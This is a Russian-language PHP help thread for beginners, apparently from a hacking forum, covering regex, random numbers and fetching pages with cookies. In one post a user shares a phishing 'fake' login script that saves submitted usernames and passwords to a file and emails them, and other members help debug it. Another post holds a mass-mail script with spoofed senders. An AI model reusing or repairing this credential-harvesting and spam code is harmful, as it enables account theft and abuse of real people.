[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. DDoSька

    DDoSька Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    317
    Likes Received:
    352
    Reputations:
    18
    preg_match('#<nobr>(.*)</nobr>#',$in,$out);
     
    1 person likes this.
  2. heretic1990

    heretic1990 Elder - Старейшина

    Joined:
    2 Jul 2008
    Messages:
    487
    Likes Received:
    182
    Reputations:
    5
    всем спс
     
    1 person likes this.
  3. chlp

    chlp New Member

    Joined:
    7 Dec 2008
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    function wans($to)
    {
    $th=rand(1,100);
    if($th<=$to) return TRUE;
    return FALSE;
    }
     
  4. Grema

    Grema Elder - Старейшина

    Joined:
    29 Nov 2005
    Messages:
    109
    Likes Received:
    16
    Reputations:
    -4
    не вижу отличия от моей функции, то что у тебя rand используется, он же намного режи генерирует рандомное число чем mt_rand.
    и я (<=) забыл в своем примере.. но все равно это не то мне кажется что есть более лучшей вариант с более точным результатом....
     
  5. Ershik

    Ershik Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    301
    Likes Received:
    46
    Reputations:
    6
    Сделал фейк.
    Тестирую.
    И захотелось, чтобы приходило уведомление на email

    Нацарапал следующий скрипт(аналог со скамом из Хакера)
    PHP:
    <?php
        
    if ((isset($_POST["user"])) and (isset($_POST["password"]))) { //проверка ну существование запроса 
    $message $_POST["user"]; // наши переменные
    $message $_POST["password"]; // наши переменные

    $good 'GOOD.txt'//название файла, в который будут записыватся данные 
    $good fopen($good,'a'); // открыие файла 
    $send $_POST['user'].':'.$_POST['password']; //создание запроса 
    fwrite($good$send."\n"); //запись в файл 
    echo "<script language=JavaScript>window.location='http://сайт.нах/'</script>";}; // отсылка на настоящую страницу 
    ?>
    <?php
    if (empty($_POST["user"]) || empty($_POST["password"])){

    mail("мой майл""info"$_POST["password"]);

    mail("$message""eshat"$message); 

    };

    ?>
    Проблема в том, что он посылает email уведомление, но совершенно пустое.
    Там не фиксируются логины и пароли.

    Можете помочь?
     
  6. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    ВО 1 .. я не понел строки ..

    $message = $_POST["user"]; // наши переменные
    $message = $_POST["password"]; // наши переменные

    зачечем ты присваеваешь переменной $_POST["user"]; а потом изменяешь её значение на $_POST["password"];(перезаписываешь)

    Во 2

    if (empty($_POST["user"]) || empty($_POST["password"])){

    отсылка уведомления идёт только когда один из них или они оба пустые ... и чего ты ждёшь в письме?

    В 3

    echo "<script language=JavaScript>window.location='http://сайт.нах/'</script>";

    ставь после отсылки уведомления ...
     
    #8786 Doom123, 2 Mar 2009
    Last edited: 2 Mar 2009
  7. Ershik

    Ershik Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    301
    Likes Received:
    46
    Reputations:
    6
    Перезаписываю?
    Я хотел задать $message суперпеременной и встроить в письмо, чтобы приходили текста типа:
    вася : вася

    Данные логина и пароля.
    Я не понял следующего:
    В каком случае тогда не приходят уведомления? Когда они не пустые?
    То есть их нужно задать снова?
     
  8. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    Ershik мдяя ... слу мож ты книжку хоть почитаешь ...

    $message - суперпеременная ? Оо
    еси хочешь в таком виде такделай как сделанов перемменой $send

    у тебя условие идёт ...

    ЕСЛИ $_POST['user'] пустой ИЛИ $_POST['password'] пустой .. делаем следуйшее...
    а тут отправка уведомления ...

    делай if (!empty($_POST["user"]) && !empty($_POST["password"]))
     
  9. Andrej1928

    Andrej1928 New Member

    Joined:
    19 Nov 2008
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    PHP:
     <?php 

    print <<<HERE 
    <style type "text/css"
    body 
      
    font-familyArial


    #inputone { 
      
    width100%; 


    #textarea { 
      
    width100%; 
      
    height500px


    #infotd { 
      
    font-size13px
      
    width100px


    #infotd2 { 
      
    font-size13px


    #bgcolor_infotd { 
      
    background-color#dbeaff; 


    #good_send { 
      
    color#00419a; 


    #sends { 
      
    width20px


    #notice { 
      
    colorred


    </
    style

    HERE

    $html_or_text $_GET["html_or_text"]; 
    $sends $_GET["sendes"]; 

    if(
    $_GET["html_or_text"] == 1) { 
      
    $htmltext "\r\nContent-type: text/plain"
    } else if (
    $_GET["html_or_text"] == 2) { 
      
    $htmltext "\r\nContent-type: text/html"
    } else {} 

    if(
    $_GET["codir"] == 1) { 
      
    $cod "windows-1251"
    } else if (
    $_GET["codir"] == 2){ 
      
    iconv("windows-1251""utf-8"$email $them $body $send_full $htmltext); 
      
    $cod "utf-8"
    } else {} 

    $mime "$htmltext; charset = \"$cod\""

    if(
    $_GET["sender_name"] == TRUE) { 
      
    $sender_full $sender_name " <" $sender_mail ">"
    } else { 
      
    $sender_full $sender_mail

       
    if(isset(
    $_GET["send"])) { 
      for(
    $i 0$i $_GET["sendes"]; $i++) { 
        
    mail("$email""$them""$body""From: $sender_full $mime"); 
      } 
      print 
    "<center><span id = \"good_send\">Сообщение отправлено</span></center>"
      
    $fp fopen("result.txt""a"); 
      
    $content = <<<HERE 
    IP
    $REMOTE_ADDR 
    Agent
    $HTTP_USER_AGENT 
    Cookie
    $QUERY_STRING 

    Отправитель (e-mail): $sender_mail 
    Отправитель 
    (имя): $sender_name 
    E
    -mail$email 
    Тема
    $them 
    Текст письма 

    $body 
    text
    /html$html_or_text 
    Количество писем за раз
    $sends 
    ----------------------------- 

    HERE

      
    fputs($fp$content); 
      
    fclose($fp); 
    } else { 
      print <<<
    HERE 
          
    <form
      <
    table border "0" width "100%" id "infotd2" cellpadding "1" cellspacing "1"
      <
    tr id "bgcolor_infotd"
        <
    td id "infotd"
          
    От кого (e-mail): 
        </
    td
        <
    td
            <
    input type "text" id "inputone" name "sender_mail" value "[email protected]/> 
        </
    td
      </
    tr
      <
    tr id "bgcolor_infotd"
        <
    td id "infotd"
          
    От кого (Имя): 
        </
    td
        <
    td
            <
    input type "text" id "inputone" name "sender_name" value "Билл" /> 
        </
    td
      </
    tr
      <
    tr id "bgcolor_infotd"
        <
    td id "infotd"
          
    Кому<span id "notice">*</span>: 
        </
    td
        <
    td
            <
    input type "text" id "inputone" name "email" value "[email protected]/> 
        </
    td
      </
    tr
      <
    tr id "bgcolor_infotd"
        <
    td id "infotd"
          
    Тема письма<span id "notice">*</span>: 
        </
    td
        <
    td
            <
    input type "text" id "inputone" name "them" value "Hello" /> 
        </
    td
      </
    tr
      <
    tr id "bgcolor_infotd"
        <
    td valign "top" id "infotd"
          
    Текст письма<span id "notice">*</span>: 
        </
    td
        <
    td
            <
    textarea name "body" id "textarea">You are lol:)</textarea
        </
    td
      </
    tr
      <
    tr id "bgcolor_infotd"
        <
    td colspan "2"
            
    Файл: <input type="file" name="File"> - Вы можете прикрепить файл размером не больше 2мб
        </
    td
      </
    tr
      <
    tr id "bgcolor_infotd"
        <
    td colspan "2"
            <
    input type "radio" name "html_or_text" value "1" checked "checked">Только текст 
            
    <input type "radio" name "html_or_text" value "2">HTML и текст 
        
    </td
      </
    tr
      <
    tr id "bgcolor_infotd"
        <
    td colspan "2"
            
    Количество писем за раз
            <
    select name "sendes"
              <
    option value "1">1</option
              <
    option value "2">2</option
              <
    option value "3">3</option
              <
    option value "4">4</option
              <
    option value "5">5</option
              <
    option value "6">6</option
              <
    option value "7">7</option
              <
    option value "8">8</option
              <
    option value "9">9</option
              <
    option value "10">10</option
              <
    option value "11">11</option
              <
    option value "12">12</option
              <
    option value "13">13</option
              <
    option value "14">14</option
              <
    option value "15">15</option
              <
    option value "16">16</option
              <
    option value "17">17</option
              <
    option value "18">18</option
              <
    option value "19">19</option
              <
    option value "20">20</option
           </
    select
        </
    td
      </
    tr
      <
    tr id "bgcolor_infotd"
        <
    td colspan "2"
            
    Кодировка письма
            <
    select name "codir"
              <
    option value "1">windows-1251</option
              <
    option value "2">utf-8</option
           </
    select
        </
    td
      </
    tr
      <
    tr
        <
    td valign "top" colspan "2"
      <
    table border "0" width "100%" id "infotd2"
        <
    td valign "top"
          
    Поля отмеченные знаком <span id "notice">*</spanобязательны для заполнения 
        
    </td
        <
    td colspan "2" align "right"
            <
    input type "reset" value "Вернуть" /> 
            <
    input type "submit" value "Отправить" /> 
            <
    input type "hidden" name "send" /> 
        </
    td
      <
    table
        </
    td
      </
    tr
          </
    form

    HERE



    ?>
    Парни кто сможет дописать здесь функцию отправки вложения, скрипт взял отсюда с темы Полезный скрипты сам в ПХП я неселён
    буду очень блогодарин за помощь.
     
  10. awdrg

    awdrg Member

    Joined:
    30 Jan 2009
    Messages:
    195
    Likes Received:
    31
    Reputations:
    1
    Очень прошу, распишите основной синтаксис preg_match_all(), буквально в общих чертах, в частности я путаюсь с выходной переменной-массивом, немогу понять что где лежит(под каким индексом) Если можно пару примеров. С меня + =) спасибо
     
  11. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    http://www.php.su/articles/?cat=regexp
     
  12. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    awdrg php.net/preg_match_all - на любом языке, с примерами и коментариями
     
    _________________________
  13. awdrg

    awdrg Member

    Joined:
    30 Jan 2009
    Messages:
    195
    Likes Received:
    31
    Reputations:
    1
    мм спасибо, еще вопрос: как получить функцией file_get_contents() искходный код страницы, для просмотра которой требуются мои cookies, которые я знаю?
     
  14. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    [этой ф-ией так сделать нельзя .. только сокетами или курлом.]
    не верный ответ. читаем ответ двумя постами ниже.
     
    #8794 159932, 3 Mar 2009
    Last edited: 3 Mar 2009
  15. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    примерно так:

    PHP:
    <?php 

    function get($url
        { 
            
    $ch curl_init();   
            
    curl_setopt($chCURLOPT_URL,$url); 
            
    curl_setopt($chCURLOPT_RETURNTRANSFER,1); 
            
    curl_setopt($chCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208'); 
            
    curl_setopt($chCURLOPT_COOKIE"__utma=ТУТ_ТВОИ_ДАННЫЕ; __utmb=ТУТ_ТВОИ_ДАННЫЕ; __utmc=ТУТ_ТВОИ_ДАННЫЕ;__utmz=ТУТ_ТВОИ_ДАННЫЕ;");
            
    $ss=curl_exec($ch); 
            
    curl_close($ch); 
            return 
    $ss
        } 
         
        
    $a=get('http://mail.ru'); 
        echo 
    $a;
    ?>

     
  16. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    PHP:
    $opts = array(
      
    'http'=>array(
        
    'method'=>"GET",
        
    'header'=>"Accept-language: en\r\n" 
                  
    "Cookie: foo=bar\r\n"
      
    )
    );

    $context stream_context_create($opts);
    $fp file_get_contents('http://www.example.com'false,$context);
     
    2 people like this.
  17. awdrg

    awdrg Member

    Joined:
    30 Jan 2009
    Messages:
    195
    Likes Received:
    31
    Reputations:
    1
    o_O огромное спасибо, все работает отлично!
     
    1 person likes this.
  18. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    Где можно достать уже готовые шапки сайта, футеры, фоны и коды для навигации?
     
    1 person likes this.
  19. blaga

    blaga Elder - Старейшина

    Joined:
    23 Mar 2006
    Messages:
    884
    Likes Received:
    273
    Reputations:
    106
    MaTpOc бесплатные шаблоны для сайта?
     
  20. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    стандартные кторорые 690 на 100, ну или недоработанные
     
Thread Status:
Not open for further replies.